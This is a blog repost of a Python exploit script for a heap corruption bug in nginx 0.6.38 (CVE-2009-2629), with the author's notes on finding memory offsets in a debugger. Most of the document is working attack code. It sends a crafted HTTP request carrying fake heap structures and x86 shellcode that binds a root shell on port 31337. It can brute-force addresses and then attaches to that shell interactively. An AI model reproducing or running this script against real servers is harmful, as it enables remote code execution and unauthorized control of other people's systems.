nginx v0.6.38 Heap Corruption Exploit

2010, August 30, 6:38 PM. oday收藏
Submitted by admin

#!/usr/bin/env python 

# Exploit Title: nginx heap corruption 

# Date: 08/26/2010 

# Author: aaron conole <[email]apconole@yahoo.com[/email]> 

# Software Link: [url]http://nginx.org/download/nginx-0.6.38.tar.gz[/url] 

# Version: <= 0.6.38, <= 0.7.61 

# Tested on: BT4R1 running nginx 0.6.38 locally 

# CVE: 2009-2629 

# note: this was written and tested against BT4. This means it's an 

#       intel x86 setup (ie: offsets for 32-bit machine, etc.). YMMV 

#       also - only tested successfully against nginx 0.6.38 

#              you'll definitely need to modify against other versions 

# you'll need to know where the offset is going to land, and what the pad is 

# from that point to when you've tained execution flow. 

# A quick way to find out just for verification would be to launch nginx, 

# attach GDB to the worker and target it with the exploit, setting the offset 

# to 0, or some other arbitrary value. It should crash on a piece of code which 

# resembles: 

#   if (ctx->offset) 

# At that point, merely dump the *r; capture the value for the data pointer 

# (it'll be the one with "GET //../Aa0") and add 131 to it (decimal 131 to the 

# hex pointer value). That should give you a good area to test with. You might 

# want to use the range at that point and set the last octet to 00. 

# NOTE: you'll need a configuration with merge_slashes enabled. I haven't yet 

#       found a "magic" combination that would cause the state machine to do 

#       what I want to make the bug trigger. Once I do, you can bet BUG will be 

#       replaced. 

  

import os 

import sys 

import socket 

import select 

import struct 

import time 

import urllib 

  

REQUEST_METHOD='GET '

  

# NOTE - this is a 32-bit null pointer. A 64-bit version would be 8-bytes (but take care to re-verify the structures) 

NULLPTR='\x00\x00\x00\x00'

  

# NOTE - this shellcode was shamelessly stolen from the www 

#        port 31337 bindshell for /bin/sh 

SHELL='\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x7a\x69\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80'

  

# Why did I write this up this way? Because given enough time, I think I can 

# find a proper set of state change which can give me the same effect (ie: ../ 

# appearing as the 3rd, 4th, and 5th characters) at a later date. 

# That's all controlled by the complex uri parsing bit, though. 

DOUBLE_SLASH='//../'

  

BUG=DOUBLE_SLASH 

  

# taken from the metasploit pattern_create.rb 

PATTERN='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4'

  

def connect_socket(host,port): 

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

    try: 

        sock.connect( (host, port) ) 

    except: 

        return 0

    #sock.setblocking(0) 

    return sock 

  

def handle_connection(sock): 

    while(1): 

        r, w, e = select.select( [sock, sys.stdin], 

                                 [], 

                                 [sock, sys.stdin] ) 

        for s in r: 

            if s == sys.stdin: 

                buf = sys.stdin.readline() 

                  

                try: 

                    if buf != '': 

                        sock.send(buf) 

                except: 

                    print "Xon close?"

                    return 0

                  

            elif s == sock: 

                try: 

                    buf = sock.recv(100) 

                except: 

                    print "Xon close?"

                    return 0

                if buf != '': 

                    sys.stdout.write(buf) 

  

def main(argv): 

    argc = len(argv) 

  

    if argc < 4: 

        print "usage: %s <host> <port> <ctx_addr> [-b]" % (argv[0]) 

        print "[*] exploit for nginx <= 0.6.38 CVE 2009-2629"

        print "[*] host = the remote host name"

        print "[*] port = the remote port"

        print "[*] ctx_addr is where the context address should begin at"

        print "[*] -b specifies a brute-force (which will start at ctx_addr"

        sys.exit(0) 

  

    host = argv[1] 

    port = int(argv[2]) 

    ctx_addr = int(argv[3],16) 

  

    brute_flag = 0

    if(argc == 5): 

        brute_flag = 1

  

    testing = 1

  

    print "[*] target: %s:%d" % (host, port) 

  

    try: 

        sd = urllib.urlopen("http://%s:%d" % (host, port)) 

        sd.close() 

    except IOError, errmsg: 

        print "[*] error: %s" % (errmsg) 

        sys.exit(1) 

  

    print "[*] sending exploit string to %s:%d" % (host, port) 

  

    while(testing): 

          

        CTX_ADDRESS = struct.pack('<L',ctx_addr) 

        CTX_OUT_ADDRESS = struct.pack('<L', ctx_addr-60) 

        POOL_ADDRESS = struct.pack('<L',ctx_addr+56) 

        DATA_ADDRESS = struct.pack('<L',ctx_addr+86) 

        RANGE_ADDRESS = struct.pack('<L',ctx_addr+124) 

        SHELL_ADDRESS = struct.pack('<L',ctx_addr+128) 

  

        #PADDING 

        SHELLCODE=PATTERN[:67] 

  

        #the output context structure 

        SHELLCODE+=NULLPTR*9+POOL_ADDRESS+NULLPTR*4+SHELL_ADDRESS 

      

        #Magic 

        SHELLCODE+=CTX_OUT_ADDRESS+CTX_ADDRESS+NULLPTR 

  

        #this is the context object - some null ptrs, then we set range, then 

        #pool address 

        SHELLCODE+=NULLPTR*3+RANGE_ADDRESS+'\x01\x00\x00\x00'

        SHELLCODE+=NULLPTR*2+POOL_ADDRESS 

  

        #this is the data buffer object 

        SHELLCODE+=NULLPTR*4+SHELL_ADDRESS+NULLPTR 

  

        #this is the pool memory structure .. 

        SHELLCODE+=DATA_ADDRESS+NULLPTR+POOL_ADDRESS+NULLPTR*12+NULLPTR 

  

        # this is the range structure 

        SHELLCODE+='\xff\xff\xff\xff'+NULLPTR*3

  

        SHELLCODE+=SHELL 

      

        payload = REQUEST_METHOD 

        payload += BUG 

        payload += SHELLCODE 

        payload += ' HTTP/1.0\r\n\r\n'

  

        sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 

        sd.connect((host, port)) 

        sd.send(payload) 

        sd.close() 

  

        if (brute_flag): 

            nsock = connect_socket(host,31337) 

            if nsock != 0: 

                print "[*] Successful Exploit via buffer: %x" % (ctx_addr) 

                testing = 0

                handle_connection(nsock) 

            else: 

                ctx_addr = ctx_addr + 1

        else: 

            testing = 0

    print "[*] FIN."

  

if __name__ == "__main__": 

    main(sys.argv) 

    sys.exit(0) 

  

# EOF

 

========

来源:t00ls

Tags: nginx

« 上一篇 | 下一篇 »

Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):